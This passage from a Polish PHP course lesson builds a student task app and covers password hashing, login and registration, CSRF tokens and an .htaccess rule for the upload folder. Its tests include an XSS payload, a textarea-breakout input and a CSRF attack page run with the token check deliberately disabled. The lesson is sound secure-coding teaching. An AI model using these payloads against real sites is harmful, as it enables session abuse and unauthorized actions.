password_verify('wpisane hasło', $hashZBazy) // true albo false
PASSWORD_DEFAULT oznacza „najlepszy algorytm, jaki ta wersja PHP uważa za domyślny”. W przyszłości może to być inny algorytm z dłuższym wynikiem. Dlatego kolumna haslo_hash ma VARCHAR(255), a nie VARCHAR(60).
Typowe błędy
password_hash()przy logowaniu i porównanie===z hashem z bazy — nigdy się nie zgodzi, bo sól jest za każdym razem inna. Do sprawdzania służy wyłączniepassword_verify().trim()na haśle — spacja na początku albo końcu jest częścią hasła. Hasła nie czyścimy.- Hash wklejony w PHP w cudzysłowie
"$2y$10$..."— PHP potraktuje$2yi dalsze fragmenty jak zmienne. Hash w kodzie PHP zapisujemy w apostrofach. - Hasło w
value="..."formularza, w sesji albo w komunikacie. Hasło żyje tylko w zmiennej$haslow czasie jednego żądania.
6.3 SAMODZIELNIE — hashe kont testowych
Kama i Ola dostaną hasła:
| Konto | Hasło |
|---|---|
Kama_2026 | KamaQuest26 |
Ola_TQ | OlaQuest26 |
W brudnopisie wygeneruj hash dla każdego hasła i wypisz go. Potem sprawdź password_verify() dla czterech przypadków:
| Hasło | Hash | Oczekiwany wynik |
|---|---|---|
KamaQuest26 | hash Kamy | true |
kamaquest26 | hash Kamy | false (wielkość liter ma znaczenie) |
OlaQuest26 | hash Oli | true |
OlaQuest26 | hash Kamy | false |
Skopiuj oba hashe do notatnika. Będą potrzebne w kroku 6.4.
HINT
Wynik password_hash() zapisz w zmiennej ($hashKamy) i użyj jej w password_verify(). Jeśli wygenerujesz hash drugi raz, będzie inny, ale nadal poprawny.
ROZWIĄZANIE
$hashKamy = password_hash('KamaQuest26', PASSWORD_DEFAULT);
$hashOli = password_hash('OlaQuest26', PASSWORD_DEFAULT);
echo '<p>Kama: ' . $hashKamy . '</p>';
echo '<p>Ola: ' . $hashOli . '</p>';
var_dump(password_verify('KamaQuest26', $hashKamy));
var_dump(password_verify('kamaquest26', $hashKamy));
var_dump(password_verify('OlaQuest26', $hashOli));
var_dump(password_verify('OlaQuest26', $hashKamy));
6.4 Włączamy hasła do TaskQuest
Krok 1 — baza
W sql/taskquest.sql:
- W
CREATE TABLE uzytkownicyzmieńhaslo_hash VARCHAR(255) NULLnahaslo_hash VARCHAR(255) NOT NULL. Od teraz nie ma kont bez hasła. Zaktualizuj komentarz przy kolumnie. - Polecenie
INSERT INTO uzytkownicyzastąp wersją, która wymienia kolumny i podaje hashe z kroku 6.3:
INSERT INTO uzytkownicy (login, imie, haslo_hash, xp, streak, data_ostatniej_aktywnosci) VALUES
('Kama_2026', 'Kama', 'TU_HASH_KAMY', 99, 5, '2026-09-14'),
('Ola_TQ', 'Ola', 'TU_HASH_OLI', 250, 0, NULL);
Kolumny avatar nie wymieniamy, więc dostaje NULL. INSERT INTO zadania się nie zmienia (Kama nadal ma id 1, Ola id 2).
- Uruchom cały skrypt w phpMyAdmin (baza
taskquest→ SQL) i opróżnij kataloguploads/avatary/(tylko plikiavatar_...). W bazie avatary zniknęły, więc pliki zostałyby bez właściciela.
Sprawdzenie: w phpMyAdmin kolumna haslo_hash ma u obu kont tekst zaczynający się od $2y$ i długi na 60 znaków.
Na razie TaskQuest nadal wpuszcza bez hasła. Baza się zmieniła, ale
zaloguj.phpjeszcze nie.
Krok 2 — SAMODZIELNIE: walidacja danych logowania i rejestracji
W includes/funkcje_tekstowe.php:
- Zmień
walidujDaneLogowania(string $login): arraynawalidujDaneLogowania(string $login, string $haslo): array. Reguła loginu zostaje. Dochodzi jedna: puste hasło →Podaj hasło.Długości hasła przy logowaniu nie sprawdzamy. Gdyby gracz wpisał złe hasło, i tak dowie się o tym z bazy. - Dopisz pod nią
walidujDaneRejestracji(string $login, string $imieUzytkownika, string $haslo, string $powtorzoneHaslo): array. Zwraca tablicę komunikatów, nie rzuca wyjątków, niczego nie wyświetla. Reguły i komunikaty:
| Pole | Warunek | Komunikat |
|---|---|---|
| login | walidujLogin() zwraca false | ten sam co w walidujDaneLogowania() |
| imię | puste | Imię jest wymagane. |
| imię | (tylko gdy niepuste) dłuższe niż 30 znaków | Imię może mieć najwyżej 30 znaków. |
| hasło | krótsze niż 8 znaków | Hasło musi mieć co najmniej 8 znaków. |
| hasło | (tylko gdy długość jest dobra) różne od powtórzonego | Hasła nie są takie same. |
Reguły imienia znasz z Lekcji 14. Wtedy były w walidujDaneLogowania(), a w L18 z niej zniknęły.
Testy (w brudnopisie z require_once pliku funkcje_tekstowe.php):
| Wywołanie | Oczekiwany wynik |
|---|---|
walidujDaneLogowania('Kama_2026', '') | ['Podaj hasło.'] |
walidujDaneLogowania('Kama_2026', 'cokolwiek') | [] |
walidujDaneRejestracji('Ka', '', 'krotkie', 'krotkie') | 3 komunikaty: login, imię wymagane, hasło za krótkie |
walidujDaneRejestracji('Nowy_Gracz', 'Ola', 'dluzszehaslo', 'dluzszeHaslo') | ['Hasła nie są takie same.'] |
walidujDaneRejestracji('Nowy_Gracz', 'Ola', 'zażółćgę', 'zażółćgę') | [] (8 znaków — mb_strlen) |
ROZWIĄZANIE: sekcja 11, includes/funkcje_tekstowe.php.
Krok 3 — funkcje bazy
W includes/funkcje_bazy.php dopisz na końcu dwie funkcje (nagłówek pliku: „(Lekcje 18–22)”):
pobierzDaneLogowania(mysqli $polaczenie, string $login): ?array—SELECT id, haslo_hash FROM uzytkownicy WHERE login = ?. Zwraca wiersz['id' => ..., 'haslo_hash' => ...]albonull, gdy takiego loginu nie ma.dodajUzytkownika(mysqli $polaczenie, string $login, string $imieUzytkownika, string $hasloHash): int—INSERTloginu, imienia i hasha (pozostałe kolumny dostają wartości domyślne). Zwracaidnowego użytkownika.
Obie piszesz według wzorów z L18 i L19 (wczytajUzytkownika(), dodajZadanie()).
Dlaczego nie wczytajUzytkownika()? Obiekt Uzytkownik nie ma i nie będzie miał hasha. Obiekt trafia na każdą stronę, a hash jest potrzebny tylko w jednym miejscu, przy logowaniu. Dlatego hash czyta jedna funkcja i tylko ona (reguła z L18: w SELECT wymieniamy kolumny, nigdy *).
znajdzIdUzytkownika() zostaje. Użyjesz jej przy rejestracji.
ROZWIĄZANIE: sekcja 11, includes/funkcje_bazy.php.
Krok 4 — logowanie z hasłem (zaloguj.php)
Zmiany w zaloguj.php:
- Formularz: pod polem loginu nowe pole
<input type="password" id="haslo" name="haslo" required>z etykietą „Hasło”. Bezvalue: hasła nie odsyłamy do przeglądarki nawet po błędzie. Do formularza dochodzi ukryte pole z tokenem ($tokenCsrfprzed$nazwaStrony). - Tekst: zdanie „Wersja demonstracyjna: podaj login konta zapisanego w bazie — bez hasła.” usuwasz. Pod formularzem dochodzi
<p>Nie masz konta? <a href="rejestracja.php">Załóż konto</a></p>. - Odczyt:
$haslo = $_POST['haslo'] ?? '';— beztrim(). - Token i walidacja: jak w
dodaj-zadanie.php: zły token → komunikat, w przeciwnym raziewalidujDaneLogowania($login, $haslo). - Sprawdzenie w bazie: zamiast
znajdzIdUzytkownika()→pobierzDaneLogowania(). Jeśli wynik tonullalbopassword_verify()zwracafalse, dopisz do$bledyjeden wspólny komunikatNieprawidłowy login lub hasło.W przeciwnym razie jak dotąd:session_regenerate_id(true),$_SESSION['uzytkownik_id'](teraz z$daneLogowania['id']), komunikat, przekierowanie. - Escapowanie:
valueloginu i$bladBazy— jeśli nie zrobiłaś/zrobiłeś tego w sekcji 4.
Dlaczego jeden komunikat? Do tej pory TaskQuest mówił „Nie ma użytkownika o takim loginie.”. To podpowiedź dla atakującego: wiadomo, które loginy istnieją, więc wystarczy zgadywać tylko hasło. Komunikat „Nieprawidłowy login lub hasło.” nie zdradza, która część się nie zgadza.
Zmienna $uzytkownikId z L18 znika, jej miejsce zajmuje $daneLogowania.
ROZWIĄZANIE: sekcja 11, zaloguj.php (pełny plik).
Sprawdzenie:
| Login | Hasło | Wynik |
|---|---|---|
Kama_2026 | KamaQuest26 | lista zadań Kamy |
Kama_2026 | kamaquest26 | Nieprawidłowy login lub hasło. |
Nikt_Taki | KamaQuest26 | Nieprawidłowy login lub hasło. (ten sam komunikat!) |
Kama_2026 | (puste — usuń required w narzędziach przeglądarki) | Podaj hasło. |
Ka | cokolwiek | komunikat o formacie loginu |
7. Kolejne zadanie — rejestracja
Teraz połączysz wszystko z tej lekcji w jednym nowym pliku. Nowe konta mogą dziś powstać tylko w phpMyAdmin. Gracz musi móc założyć konto sam.
SAMODZIELNIE
Utwórz rejestracja.php według schematu strony z formularzem (L13), wzorując się na nowym zaloguj.php:
- Strona tylko dla niezalogowanych. Zalogowany gracz jest przekierowany na
index.php(jak wzaloguj.php). - Formularz POST z tokenem i czterema polami:
login(maxlength="20"),imie(maxlength="30"),hasloipowtorzone_haslo(obatype="password"). Wszystkie z etykietą irequired. Formularz zachowuje po błędzie login i imię (escapowane!), hasła nie. - Po wysłaniu:
trim()na loginie i imieniu, hasła bez zmian → zły token albowalidujDaneRejestracji()→ jeśli brak błędów:- login zajęty (
znajdzIdUzytkownika()nie zwracanull) →Ten login jest już zajęty., - w przeciwnym razie
dodajUzytkownika()z hashem hasła, a potem od razu zalogowanie:session_regenerate_id(true),$_SESSION['uzytkownik_id'], komunikatKonto zostało założone. Witaj w TaskQuest!, przekierowanie naindex.php.
- login zajęty (
- Awaria bazy: ramka
<p class="blad">Nie udało się założyć konta: ...</p>. - Tytuł strony:
Rejestracja — TaskQuest. Pod formularzem:<p>Masz już konto? <a href="zaloguj.php">Zaloguj się</a></p>.
Efekt: nowe konto pojawia się w phpMyAdmin z hashem, 0 XP, serią 0 i bez avatara. Gracz od razu widzi swoją pustą listę zadań i kółko z pierwszą literą imienia.
HINT
Zajętość loginu sprawdzasz w tym samym try, w którym potem zapisujesz, bo oba kroki potrzebują połączenia. Pamiętaj, że UNIQUE w bazie nie rozróżnia wielkości liter (L17). Login kama_2026 też jest zajęty, a znajdzIdUzytkownika() porównuje tak samo.
POMOC
try {
$polaczenie = polaczZBaza();
if (znajdzIdUzytkownika($polaczenie, $login) !== null) {
$bledy[] = 'Ten login jest już zajęty.';
} else {
$uzytkownikId = dodajUzytkownika($polaczenie, $login, $imieUzytkownika, password_hash(...));
// zalogowanie jak w zaloguj.php
}
} catch (Exception $wyjatek) {
$bladBazy = $wyjatek->getMessage();
}
Dlaczego nie zapisać po prostu i poczekać, aż UNIQUE zgłosi błąd? Można, ale wtedy gracz zobaczy komunikat mysqli („Duplicate entry…”) w ramce awarii zamiast czytelnego zdania. UNIQUE zostaje jako ostatnia linia obrony.
ROZWIĄZANIE: Sekcja 11, rejestracja.php (pełny plik).
8. Katalog avatarów pod ochroną serwera
W Lekcji 21 katalog uploads/avatary/ chroniła tylko walidacja w profil.php. Sprawdźmy, co by było, gdyby do tego katalogu trafił plik .php.
Utwórz w
uploads/avatary/pliktest.php:<?php
echo 'Ten skrypt został wykonany!';- Otwórz
http://localhost/taskquest/uploads/avatary/test.php. Serwer wykonał skrypt. Gdyby ktoś podrzucił tu swój skrypt, mógłby czytać pliki projektu (w tymconfig.phpz hasłem do bazy), zmieniać je i usuwać. - Otwórz
http://localhost/taskquest/uploads/avatary/. Apache pokazuje listę wszystkich plików w katalogu, czyli avatary wszystkich graczy.
Apache czyta ustawienia z plików .htaccess umieszczonych w katalogach strony. Utwórz w VS Code plik uploads/avatary/.htaccess (nazwa zaczyna się od kropki i nie ma rozszerzenia):
# TaskQuest (L22): pliki od graczy nie mogą być wykonywane jako skrypty.
Options -Indexes
<FilesMatch "\.(php|php[0-9]|phtml|phar)$">
Require all denied
</FilesMatch>
Options -Indexeswyłącza listę plików katalogu.FilesMatchz wyrażeniem regularnym (znasz je z L8) wybiera pliki z końcówkami, które serwer mógłby wykonać jako PHP, aRequire all deniedzabrania dostępu do nich.
Sprawdzenie:
| Adres | Przed | Po |
|---|---|---|
.../uploads/avatary/test.php | „Ten skrypt został wykonany!” | 403 Forbidden |
.../uploads/avatary/ | lista plików | 403 Forbidden |
| avatar na liście zadań (wgraj nowy) | widoczny | nadal widoczny |
Usuń test.php.
W XAMPP pliki
.htaccesswhtdocsdziałają od razu. Na innym serwerze administrator może je wyłączyć. Najpewniejsze rozwiązanie to trzymanie przesłanych plików poza katalogiem publicznym i wydawanie ich przez skrypt PHP. W TaskQuest zostajemy przy.htaccess.
Diagnostyka i stopka
- W
diagnostyka.phpdopisz do$wymaganePlikiścieżki'rejestracja.php'i'uploads/avatary/.htaccess'(razem 23).czyPlikIstnieje()działa też dla pliku z kropką na początku. - W
includes/footer.phpzmień wersję naTaskQuest 2.2.
9. Testy
Przed testami uruchom ponownie sql/taskquest.sql (krok 6.4) i opróżnij uploads/avatary/ (poza .htaccess!).
Test 1 — regresja
Zaloguj się jako Kama_2026 / KamaQuest26. Lista zadań, liczniki, pasek XP, „Zrobione!” (XP rośnie), „Usuń”, filtr widoku, avatar, ranking i wylogowanie działają jak po Lekcji 21. Zaloguj się jako Ola_TQ / OlaQuest26 — widać jej jedno zadanie.
Test 2 — logowanie
Tabela w kroku 6.4, krok 4. Szczególnie ważne: nieistniejący login i złe hasło dają ten sam komunikat.
Test 3 — rejestracja
Załóż konto: login Nowy_Gracz, imię Ala, hasło tajnehaslo1 (dwa razy).
- Lądujesz na liście zadań z komunikatem „Konto zostało założone. Witaj w TaskQuest!”.
- Widzisz kółko z literą
A, 0 XP, pustą listę zadań. - W rankingu: Ola, Kama,
Nowy_Gracz. - W phpMyAdmin nowy wiersz ma
haslo_hashzaczynający się od$2y$, aavataridata_ostatniej_aktywnoscirówneNULL. - Wyloguj się i zaloguj ponownie
Nowy_Gracz/tajnehaslo1.
Test 4 — walidacja rejestracji
| Login | Imię | Hasło | Powtórzone | Oczekiwany wynik |
|---|---|---|---|---|
Ka | (same spacje) | krotkie | krotkie | 3 komunikaty: login, imię wymagane, hasło za krótkie |
Nowy_Gracz2 | Ala | tajnehaslo1 | tajnehaslo2 | Hasła nie są takie same.; login i imię zostały w polach, pola haseł są puste |
kama_2026 | Kama | tajnehaslo1 | tajnehaslo1 | Ten login jest już zajęty. (małe litery!) |
Ala Ma Kota | Ala | tajnehaslo1 | tajnehaslo1 | komunikat o formacie loginu |
Test 5 — XSS
- Zadanie z tytułem
<img src="x" onerror="alert(1)">i opisem<b>pogrubione?</b>— na liście i w „najpilniejszym zadaniu” widać dosłowny tekst, bez okienka. - Zarejestruj konto z imieniem
<i>Ala</i>— powitanie pokazuje dosłownie<i>Ala</i>, a w kółku avatara jest znak<. - Formularz nowego zadania: tytuł
Cytat "PHP" i 'MySQL', XPabc→ błąd walidacji, a pole tytułu zawiera cały tytuł z cudzysłowami. - Formularz nowego zadania: opis
</textarea><b>X</b>, XPabc→ błąd walidacji, formularz wygląda normalnie, a opis jest w polu w całości.
Test 6 — CSRF
atak.htmlw Firefoksie (zalogowana Kama) → formularz z komunikatem o wygasłym formularzu, zadanie nie zostało dodane.- W Firefoksie otwórz stronę logowania. W narzędziach przeglądarki (
F12→ Dane → Ciasteczka) usuń ciasteczkoPHPSESSID. Wpisz poprawne dane Kamy i wyślij → komunikat o wygasłym formularzu. Ponowne wysłanie (formularz ma już nowy token) → logowanie działa. - Otwórz „+ Dodaj zadanie” w jednej karcie. W drugiej karcie wyloguj się i zaloguj jeszcze raz. W pierwszej karcie wypełnij formularz i wyślij → komunikat o wygasłym formularzu, wpisane dane zostały w polach.
Test 7 — katalog avatarów
Tabela w sekcji 8.
Test 8 — diagnostyka
diagnostyka.php — 23 pliki, wszystkie [OK]. Zmień nazwę .htaccess na htaccess.txt → [BRAK] przy uploads/avatary/.htaccess. Przywróć nazwę.
Test 9 — baza nie działa
Zatrzymaj MySQL w XAMPP. Logowanie → ramka „Nie udało się zalogować: Nie udało się połączyć z bazą danych.” Rejestracja → „Nie udało się założyć konta: …”, login i imię zostały w polach. Uruchom MySQL.
10. Obowiązkowe eksperymenty
Po każdym eksperymencie przywróć kod.
Eksperyment 1: kolejność escapowania
Dodaj zadanie z opisem:
Porównać wyniki testów z klasą 3A i 3B, potem Q&A z nauczycielem
Na liście opis jest skrócony do: ... potem Q&A .... Teraz w pętli listy w index.php zamień kolejność: najpierw htmlspecialchars(), potem skrocOpis(), czyli skrocOpis(htmlspecialchars($zadanie->pobierzOpis())). Odśwież.
Na liście pojawia się ... potem Q&am.... htmlspecialchars() zamienił & na pięć znaków &, a skrocOpis() przeciął encję w połowie. Przeglądarka dostała niepełne &am i wyświetliła je jako zwykły tekst. Wniosek: escapujemy na samym końcu.
Eksperyment 2: podwójne escapowanie
W dodaj-zadanie.php, tuż przed wywołaniem dodajZadanie(), dopisz tymczasowo $tytulZadania = htmlspecialchars($tytulZadania);. Dodaj zadanie Tom & Jerry.
Na liście widać Tom & Jerry, a w phpMyAdmin w kolumnie tytul jest zapisane Tom & Jerry. Tekst został zamieniony dwa razy: przy zapisie i przy wyświetlaniu. Gdyby TaskQuest kiedyś wysyłał ten tytuł w e-mailu albo do aplikacji mobilnej, tam też pokazałby się śmieć. Usuń linię i to zadanie.
Eksperyment 3: CSRF usuwa zadanie
- W
usun-zadanie.phpzamień blok sprawdzający token w komentarz. - Skopiuj
atak.htmljakoatak2.html. Zmieńactionnausun-zadanie.php, usuń cztery ukryte pola i dodaj jedno:name="id"z numerem któregoś zadania Kamy (znajdziesz go w źródle strony listy albo w phpMyAdmin). - W Firefoksie (zalogowana Kama) otwórz
atak2.html. Zadanie zniknęło, a Kama zobaczyła komunikat „Zadanie zostało usunięte.”. - Przywróć sprawdzanie tokenu i otwórz
atak2.htmljeszcze raz → „Nie udało się wykonać akcji. Spróbuj jeszcze raz.”, zadania nie ubywa.
Eksperyment 4: wolny hash to zaleta
W brudnopisie:
$start = microtime(true);
password_hash('KamaQuest26', PASSWORD_DEFAULT);
echo '<p>password_hash: ' . round(microtime(true) - $start, 3) . ' s</p>';
$start = microtime(true);
password_hash('KamaQuest26', PASSWORD_DEFAULT, ['cost' => 14]);
echo '<p>password_hash, koszt 14: ' . round(microtime(true) - $start, 3) . ' s</p>';
$start = microtime(true);
for ($i = 0; $i < 100000; $i++) {
md5('KamaQuest26' . $i);
}
echo '<p>100 000 × md5: ' . round(microtime(true) - $start, 3) . ' s</p>';
Na typowym komputerze szkolnym zobaczysz mniej więcej: jeden password_hash() trwa kilka setnych sekundy, z kosztem 14 około sekundy, a sto tysięcy md5() kilka setnych sekundy. Dla gracza różnica jest niezauważalna, bo loguje się raz. Atakujący, który ma wykradziony hash i sprawdza miliony haseł, przy password_hash() potrzebuje tysięcy razy więcej czasu niż przy md5. Każde zwiększenie kosztu o 1 podwaja ten czas.
11. ROZWIĄZANIE
Poniżej wszystkie pliki, które zmieniły się w Lekcji 22. Pliki niewymienione (klasy, config.php, header.php, funkcje_grywalizacji.php, funkcje_terminow.php, funkcje_zadan.php, funkcje_avatara.php) są identyczne jak po Lekcji 21.
ROZWIĄZANIE
uploads/avatary/.htaccess (nowy plik)
Treść jak w sekcji 8.
sql/taskquest.sql — zmiany
CREATE TABLE uzytkownicy (
id INT UNSIGNED AUTO_INCREMENT PRIMARY KEY,
login VARCHAR(20) NOT NULL UNIQUE,
imie VARCHAR(30) NOT NULL,
haslo_hash VARCHAR(255) NOT NULL, -- (L22) wynik password_hash()
xp INT UNSIGNED NOT NULL DEFAULT 0,
streak INT UNSIGNED NOT NULL DEFAULT 0,
data_ostatniej_aktywnosci DATE NULL, -- NULL = brak aktywności
avatar VARCHAR(100) NULL -- (L21) nazwa pliku w uploads/avatary; NULL = brak avatara
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;
-- (L22) hasła kont testowych: Kama_2026 → KamaQuest26, Ola_TQ → OlaQuest26
INSERT INTO uzytkownicy (login, imie, haslo_hash, xp, streak, data_ostatniej_aktywnosci) VALUES
('Kama_2026', 'Kama', '$2y$10$TvnmsPnl0sMZ9thSeswJXO0X0GJHKfBLmJW7.W9FQ0JSnLVq0tEGy', 99, 5, '2026-09-14'),
('Ola_TQ', 'Ola', '$2y$10$IC7t4ZwMprlNySlkvZAjK.51hLq0Js/fAlwfemXNX1EhrNhwgmcF.', 250, 0, NULL);
Hashe powyżej są poprawne dla podanych haseł. Twoje, wygenerowane w kroku 6.3, będą inne i też są poprawne. Reszta skryptu bez zmian.
includes/funkcje_sesji.php — na końcu pliku
Funkcje pobierzTokenCsrf() i sprawdzTokenCsrf() — kod jak w ROZWIĄZANIU kroku 5.3.
includes/funkcje_tekstowe.php — zmiany
walidujDaneLogowania() w nowej wersji i pod nią nowa funkcja (walidujLogin() i pozostałe funkcje bez zmian):
function walidujDaneLogowania(string $login, string $haslo): array
{
$bledy = [];
if (!walidujLogin($login)) {
$bledy[] = 'Login musi mieć 3–20 znaków: litery bez polskich znaków, cyfry, _ lub -.';
}
if ($haslo === '') {
$bledy[] = 'Podaj hasło.';
}
return $bledy;
}
function walidujDaneRejestracji(string $login, string $imieUzytkownika, string $haslo, string $powtorzoneHaslo): array
{
$bledy = [];
if (!walidujLogin($login)) {
$bledy[] = 'Login musi mieć 3–20 znaków: litery bez polskich znaków, cyfry, _ lub -.';
}
if ($imieUzytkownika === '') {
$bledy[] = 'Imię jest wymagane.';
} elseif (mb_strlen($imieUzytkownika) > 30) {
$bledy[] = 'Imię może mieć najwyżej 30 znaków.';
}
if (mb_strlen($haslo) < 8) {
$bledy[] = 'Hasło musi mieć co najmniej 8 znaków.';
} elseif ($haslo !== $powtorzoneHaslo) {
$bledy[] = 'Hasła nie są takie same.';
}
return $bledy;
}
includes/funkcje_bazy.php — zmiany
- Komentarz na górze: „(Lekcje 18–22)”.
- Na końcu pliku:
function pobierzDaneLogowania(mysqli $polaczenie, string $login): ?array
{
$zapytanie = $polaczenie->prepare('SELECT id, haslo_hash FROM uzytkownicy WHERE login = ?');
$zapytanie->bind_param('s', $login);
$zapytanie->execute();
$wynik = $zapytanie->get_result();
return $wynik->fetch_assoc(); // null, gdy nie ma takiego loginu
}
function dodajUzytkownika(mysqli $polaczenie, string $login, string $imieUzytkownika, string $hasloHash): int
{
$zapytanie = $polaczenie->prepare('INSERT INTO uzytkownicy (login, imie, haslo_hash) VALUES (?, ?, ?)');
$zapytanie->bind_param('sss', $login, $imieUzytkownika, $hasloHash);
$zapytanie->execute();
return $zapytanie->insert_id;
}
zaloguj.php (pełny plik)
Etykiety i kolejność require_once mogą się drobnie różnić od Twojej wersji z L18. Ważna jest logika.
<?php
session_start();
require_once __DIR__ . '/config/config.php';
require_once __DIR__ . '/includes/funkcje_tekstowe.php';
require_once __DIR__ . '/includes/funkcje_sesji.php';
require_once __DIR__ . '/includes/funkcje_bazy.php';
if (czyZalogowany()) {
header('Location: index.php');
exit;
}
$login = '';
$bledy = [];
$bladBazy = null;
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$login = trim($_POST['login'] ?? '');
$haslo = $_POST['haslo'] ?? '';
if (!sprawdzTokenCsrf()) {
$bledy[] = 'Formularz wygasł albo nie pochodzi z TaskQuest. Wyślij go jeszcze raz.';
} else {
$bledy = walidujDaneLogowania($login, $haslo);
}
if ($bledy === []) {
try {
$polaczenie = polaczZBaza();
$daneLogowania = pobierzDaneLogowania($polaczenie, $login);
if ($daneLogowania === null || !password_verify($haslo, $daneLogowania['haslo_hash'])) {
$bledy[] = 'Nieprawidłowy login lub hasło.';
} else {
session_regenerate_id(true);
$_SESSION['uzytkownik_id'] = $daneLogowania['id'];
ustawKomunikat('Zalogowano. Powodzenia w zadaniach!');
header('Location: index.php');
exit;
}
} catch (Exception $wyjatek) {
$bladBazy = $wyjatek->getMessage();
}
}
}
$tokenCsrf = pobierzTokenCsrf();
$nazwaStrony = 'Logowanie — TaskQuest';
require_once __DIR__ . '/includes/header.php';
?>
<h2>Logowanie</h2>
<?php if ($bledy !== []) { ?>
<div class="blad">
<p>Popraw formularz:</p>
<ul>
<?php foreach ($bledy as $blad) { ?>
<li><?= $blad; ?></li>
<?php } ?>
</ul>
</div>
<?php } ?>
<?php if ($bladBazy !== null) { ?>
<p class="blad">Nie udało się zalogować: <?= htmlspecialchars($bladBazy); ?></p>
<?php } ?>
<form method="post" action="zaloguj.php">
<input type="hidden" name="token_csrf" value="<?= $tokenCsrf; ?>">
<label for="login">Login</label>
<input type="text" id="login" name="login" maxlength="20" value="<?= htmlspecialchars($login); ?>" required>
<label for="haslo">Hasło</label>
<input type="password" id="haslo" name="haslo" required>
<button type="submit">Wejdź do TaskQuest</button>
</form>
<p>Nie masz konta? <a href="rejestracja.php">Załóż konto</a></p>
<?php require_once __DIR__ . '/includes/footer.php'; ?>
rejestracja.php (nowy plik)
<?php
session_start();
require_once __DIR__ . '/config/config.php';
require_once __DIR__ . '/includes/funkcje_tekstowe.php';
require_once __DIR__ . '/includes/funkcje_sesji.php';
require_once __DIR__ . '/includes/funkcje_bazy.php';
if (czyZalogowany()) {
header('Location: index.php');
exit;
}
$login = '';
$imieUzytkownika = '';
$bledy = [];
$bladBazy = null;
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$login = trim($_POST['login'] ?? '');
$imieUzytkownika = trim($_POST['imie'] ?? '');
$haslo = $_POST['haslo'] ?? '';
$powtorzoneHaslo = $_POST['powtorzone_haslo'] ?? '';
if (!sprawdzTokenCsrf()) {
$bledy[] = 'Formularz wygasł albo nie pochodzi z TaskQuest. Wyślij go jeszcze raz.';
} else {
$bledy = walidujDaneRejestracji($login, $imieUzytkownika, $haslo, $powtorzoneHaslo);
}
if ($bledy === []) {
try {
$polaczenie = polaczZBaza();
if (znajdzIdUzytkownika($polaczenie, $login) !== null) {
$bledy[] = 'Ten login jest już zajęty.';
} else {
$uzytkownikId = dodajUzytkownika($polaczenie, $login, $imieUzytkownika, password_hash($haslo, PASSWORD_DEFAULT));
session_regenerate_id(true);
$_SESSION['uzytkownik_id'] = $uzytkownikId;
ustawKomunikat('Konto zostało założone. Witaj w TaskQuest!');
header('Location: index.php');
exit;
}
} catch (Exception $wyjatek) {
$bladBazy = $wyjatek->getMessage();
}
}
}
$tokenCsrf = pobierzTokenCsrf();
$nazwaStrony = 'Rejestracja — TaskQuest';
require_once __DIR__ . '/includes/header.php';
?>
<h2>Załóż konto</h2>
<?php if ($bledy !== []) { ?>
<div class="blad">
<p>Popraw formularz:</p>
<ul>
<?php foreach ($bledy as $blad) { ?>
<li><?= $blad; ?></li>
<?php } ?>
</ul>
</div>
<?php } ?>
<?php if ($bladBazy !== null) { ?>
<p class="blad">Nie udało się założyć konta: <?= htmlspecialchars($bladBazy); ?></p>
<?php } ?>
<form method="post" action="rejestracja.php">
<input type="hidden" name="token_csrf" value="<?= $tokenCsrf; ?>">
<label for="login">Login (3–20 znaków: litery bez polskich znaków, cyfry, _ lub -)</label>
<input type="text" id="login" name="login" maxlength="20" value="<?= htmlspecialchars($login); ?>" required>
<label for="imie">Imię</label>
<input type="text" id="imie" name="imie" maxlength="30" value="<?= htmlspecialchars($imieUzytkownika); ?>" required>
<label for="haslo">Hasło (co najmniej 8 znaków)</label>
<input type="password" id="haslo" name="haslo" required>
<label for="powtorzone_haslo">Powtórz hasło</label>
<input type="password" id="powtorzone_haslo" name="powtorzone_haslo" required>
<button type="submit">Załóż konto</button>
</form>
<p>Masz już konto? <a href="zaloguj.php">Zaloguj się</a></p>
<?php require_once __DIR__ . '/includes/footer.php'; ?>
wyloguj.php (pełny plik)
<?php
session_start();
require_once __DIR__ . '/includes/funkcje_sesji.php';
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
header('Location: index.php');
exit;
}
if (!sprawdzTokenCsrf()) {
header('Location: index.php');
exit;
}
$_SESSION = [];
if (isset($_COOKIE[session_name()])) {
setcookie(session_name(), '', time() - 3600, '/');
}
session_destroy();
header('Location: zaloguj.php');
exit;
profil.php (pełny plik)
<?php
session_start();
require_once __DIR__ . '/config/config.php';
require_once __DIR__ . '/includes/funkcje_avatara.php';
require_once __DIR__ . '/includes/funkcje_sesji.php';
require_once __DIR__ . '/includes/funkcje_bazy.php';
wymagajLogowania();
$bledy = [];
$bladZapisu = null;
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$plik = $_FILES['avatar'] ?? null;
if ($plik === null) {
$bledy[] = 'Plik jest za duży albo nie został wysłany.';
} elseif (!sprawdzTokenCsrf()) {
$bledy[] = 'Formularz wygasł albo nie pochodzi z TaskQuest. Wyślij go jeszcze raz.';
} else {
$bledy = walidujAvatar($plik);
}
if ($bledy === []) {
$nazwaPlikuAvatara = 'avatar_' . $_SESSION['uzytkownik_id'] . '_' . time() . '.' . rozszerzenieAvatara($plik['name']);
$sciezkaAvatara = __DIR__ . '/' . KATALOG_AVATAROW . '/' . $nazwaPlikuAvatara;
if (!move_uploaded_file($plik['tmp_name'], $sciezkaAvatara)) {
$bladZapisu = 'Nie udało się zapisać pliku na serwerze.';
} else {
try {
$polaczenie = polaczZBaza();
zapiszAvatarUzytkownika($polaczenie, $_SESSION['uzytkownik_id'], $nazwaPlikuAvatara);
ustawKomunikat('Avatar został zmieniony.');
header('Location: index.php');
exit;
} catch (Exception $wyjatek) {
$bladZapisu = $wyjatek->getMessage();
}
}
}
}
$tokenCsrf = pobierzTokenCsrf();
$nazwaStrony = 'Profil — TaskQuest';
require_once __DIR__ . '/includes/header.php';
?>
<h2>Twój profil</h2>
<p><a href="index.php">← Wróć do listy zadań</a></p>
<?php if ($bledy !== []) { ?>
<div class="blad">
<p>Popraw formularz:</p>
<ul>
<?php foreach ($bledy as $blad) { ?>
<li><?= $blad; ?></li>
<?php } ?>
</ul>
</div>
<?php } ?>
<?php if ($bladZapisu !== null) { ?>
<p class="blad">Nie udało się zapisać avatara: <?= htmlspecialchars($bladZapisu); ?></p>
<?php } ?>
<form method="post" action="profil.php" enctype="multipart/form-data">
<input type="hidden" name="token_csrf" value="<?= $tokenCsrf; ?>">
